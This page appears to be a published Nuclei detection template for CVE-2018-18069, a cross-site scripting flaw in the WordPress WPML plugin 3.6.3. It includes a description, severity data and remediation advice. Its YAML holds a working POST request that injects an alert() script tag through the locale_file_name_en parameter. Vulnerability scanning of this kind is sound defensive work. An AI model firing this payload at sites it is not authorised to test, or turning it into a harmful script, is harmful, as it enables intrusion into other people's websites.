WordPress sitepress-multilingual-cms 3.6.3 - Cross-Site Scripting

ID: CVE-2018-18069

Severity: medium

Author: nadino

Tags: cve2018,cve,wordpress,xss,plugin,wpml

Description

WordPress plugin sitepress-multilingual-cms 3.6.3 is vulnerable to cross-site scripting in process_forms via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.

YAML Source

id: CVE-2018-18069

info:
  name: WordPress sitepress-multilingual-cms 3.6.3 - Cross-Site Scripting
  author: nadino
  severity: medium
  description: WordPress plugin sitepress-multilingual-cms 3.6.3 is vulnerable to cross-site scripting in process_forms via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update WordPress sitepress-multilingual-cms to the latest version to mitigate the XSS vulnerability.
  reference:
    - https://0x62626262.wordpress.com/2018/10/08/sitepress-multilingual-cms-plugin-unauthenticated-stored-xss/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18069
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-18069
    cwe-id: CWE-79
    epss-score: 0.00092
    epss-percentile: 0.38026
    cpe: cpe:2.3:a:wpml:wpml:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wpml
    product: wpml
    framework: wordpress
  tags: cve2018,cve,wordpress,xss,plugin,wpml

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin.php"

    body: |
      icl_post_action=save_theme_localization&locale_file_name_en=EN"><script>alert(0);</script>
    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(header), "text/html")'
          - 'contains(set_cookie, "_icl_current_admin_language")'
          - 'contains(body, "\"><script>alert(0);</script>")'
        condition: and
# digest: 4a0a004730450220176a81066a15414b982a027a8509158121766b24a9974da251238ddd55465692022100cd5d2ee50717a2aa7e1f4737abf7e04fc6cd801298f48c3c5f4fa52550e5db4f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-18069.yaml"

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